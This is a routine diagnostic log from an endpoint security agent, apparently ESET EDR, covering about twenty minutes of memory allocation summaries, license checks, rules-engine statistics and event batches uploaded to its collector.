2026-03-04 23:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2040 KB; ProcessInfo: 1825 KB; TcpIpConnectionsManager: 680 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; BaseEvent: 175 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 45 KB; BatchSerializer::EventsQueueTag: 44 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 37420 KB;
2026-03-04 23:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 23:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2548 KB; ModuleMetadata: 2040 KB; TcpIpConnectionsManager: 832 KB; rules::AncestorEvaluations: 552 KB; BaseEvent: 531 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 138 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 14 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38716 KB;
2026-03-04 23:34:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 23:34:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 23:34:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 23:34:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 23:34:33 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 23:32:25, To:, 2026-03-04 23:34:33, Duration (s):, 128, Events Per Second:, 32.142, Events:, 4142, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3418, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 723, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457760
2026-03-04 23:34:35 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s408ms.
2026-03-04 23:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2444 KB; ModuleMetadata: 2040 KB; TcpIpConnectionsManager: 973 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; rules::ProcessConditionsCache: 336 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; cloudutils::CloudData: 140 KB; BaseEvent: 109 KB; BatchSerializer::EventsQueueTag: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 38544 KB;
2026-03-04 23:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 3055 KB; ModuleMetadata: 2040 KB; TcpIpConnectionsManager: 926 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BaseEvent: 410 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 202 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 107 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 39357 KB;
2026-03-04 23:36:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 23:34:33, To:, 2026-03-04 23:36:49, Duration (s):, 136, Events Per Second:, 30.245, Events:, 4124, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3405, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 718, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458652
2026-03-04 23:36:50 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s407ms.
2026-03-04 23:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2333 KB; ModuleMetadata: 2040 KB; TcpIpConnectionsManager: 944 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 196 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; BatchSerializer::EventsQueueTag: 5 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38154 KB;
2026-03-04 23:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2692 KB; ModuleMetadata: 2040 KB; TcpIpConnectionsManager: 796 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; BaseEvent: 196 KB; rules::ProcessConditionsCache: 174 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 51 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38552 KB;
2026-03-04 23:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 23:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2884 KB; ModuleMetadata: 2040 KB; TcpIpConnectionsManager: 622 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; rules::ProcessConditionsCache: 387 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; BaseEvent: 299 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 79 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38916 KB;
2026-03-04 23:39:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 23:39:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 23:39:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 23:39:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 23:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2884 KB; ModuleMetadata: 2040 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; rules::ProcessConditionsCache: 387 KB; ModuleInfoCache: 325 KB; TcpIpConnectionsManager: 304 KB; BaseEvent: 302 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 80 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38601 KB;
2026-03-04 23:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2884 KB; ModuleMetadata: 2040 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; rules::ProcessConditionsCache: 387 KB; ModuleInfoCache: 325 KB; BaseEvent: 303 KB; CacheEntry: 300 KB; TcpIpConnectionsManager: 148 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 81 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38447 KB;
2026-03-04 23:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2884 KB; ModuleMetadata: 2040 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; rules::ProcessConditionsCache: 387 KB; ModuleInfoCache: 325 KB; BaseEvent: 304 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 81 KB; TcpIpConnectionsManager: 66 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38365 KB;
2026-03-04 23:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2884 KB; ModuleMetadata: 2040 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; rules::ProcessConditionsCache: 387 KB; ModuleInfoCache: 325 KB; BaseEvent: 304 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 81 KB; TcpIpConnectionsManager: 66 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38365 KB;
2026-03-04 23:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 23:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:43:31 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 23:36:48, To:, 2026-03-04 23:43:31, Duration (s):, 403, Events Per Second:, 11.074, Events:, 4470, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3685, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 21, Livegrid:, 21, OriginUrl:, 0, Alarms:, 742, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 497093
2026-03-04 23:43:33 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s379ms.
2026-03-04 23:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2241 KB; ModuleMetadata: 2040 KB; TcpIpConnectionsManager: 916 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; BaseEvent: 475 KB; ModuleInfoCache: 326 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 125 KB; rules::ProcessConditionsCache: 112 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 38538 KB;
2026-03-04 23:44:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 23:44:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 23:44:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 23:44:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 23:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2601 KB; ModuleMetadata: 2040 KB; TcpIpConnectionsManager: 1067 KB; BaseEvent: 650 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 326 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 170 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 92 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 39250 KB;
2026-03-04 23:45:25 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 23:41:09, To:, 2026-03-04 23:45:25, Duration (s):, 256, Events Per Second:, 16.316, Events:, 4187, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3459, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 727, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 464671
2026-03-04 23:45:27 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s332ms.
2026-03-04 23:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2985 KB; ModuleMetadata: 2040 KB; TcpIpConnectionsManager: 1246 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 326 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 150 KB; cloudutils::CloudData: 141 KB; BaseEvent: 84 KB; BatchSerializer::EventsQueueTag: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 39162 KB;
2026-03-04 23:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 3347 KB; ModuleMetadata: 2040 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 326 KB; CacheEntry: 300 KB; BaseEvent: 262 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 125 KB; BatchSerializer::EventsQueueTag: 70 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39019 KB;
2026-03-04 23:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 3752 KB; ModuleMetadata: 2040 KB; TcpIpConnectionsManager: 598 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; BaseEvent: 448 KB; ModuleInfoCache: 326 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 210 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 119 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39793 KB;
2026-03-04 23:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 23:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 4005 KB; ModuleMetadata: 2040 KB; BaseEvent: 574 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; ModuleInfoCache: 326 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 154 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; rules::ProcessConditionsCache: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39945 KB;
2026-03-04 23:49:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 23:49:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 23:49:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 23:49:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 23:49:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 23:45:25, To:, 2026-03-04 23:49:49, Duration (s):, 264, Events Per Second:, 15.650, Events:, 4145, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3451, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 693, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459234
2026-03-04 23:49:51 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s370ms.
2026-03-04 23:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2040 KB; ProcessInfo: 1227 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; rules::ProcessConditionsCache: 379 KB; ModuleInfoCache: 326 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; BaseEvent: 7 KB; BatchSerializer::EventsQueueTag: 2 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 36798 KB;
2026-03-04 23:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2040 KB; ProcessInfo: 1592 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 511 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; rules::ProcessConditionsCache: 361 KB; ModuleInfoCache: 326 KB; CacheEntry: 300 KB; BaseEvent: 183 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 48 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37343 KB;
2026-03-04 23:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2040 KB; ProcessInfo: 1951 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; BaseEvent: 362 KB; rules::ProcessConditionsCache: 345 KB; ModuleInfoCache: 326 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 95 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37935 KB;
2026-03-04 23:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2320 KB; ModuleMetadata: 2040 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 543 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; rules::ProcessConditionsCache: 354 KB; ModuleInfoCache: 326 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 143 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38542 KB;
2026-03-04 23:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 23:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2699 KB; ModuleMetadata: 2042 KB; BaseEvent: 726 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; rules::ProcessConditionsCache: 373 KB; ModuleInfoCache: 326 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 192 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39196 KB;
2026-03-04 23:53:57 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 23:49:49, To:, 2026-03-04 23:53:57, Duration (s):, 248, Events Per Second:, 16.520, Events:, 4111, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3399, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 711, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457925
2026-03-04 23:54:00 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s854ms.
2026-03-04 23:54:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 23:54:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 23:54:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 23:54:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 23:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2042 KB; ProcessInfo: 1678 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; rules::ProcessConditionsCache: 356 KB; ModuleInfoCache: 326 KB; CacheEntry: 300 KB; BaseEvent: 166 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 42 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37454 KB;
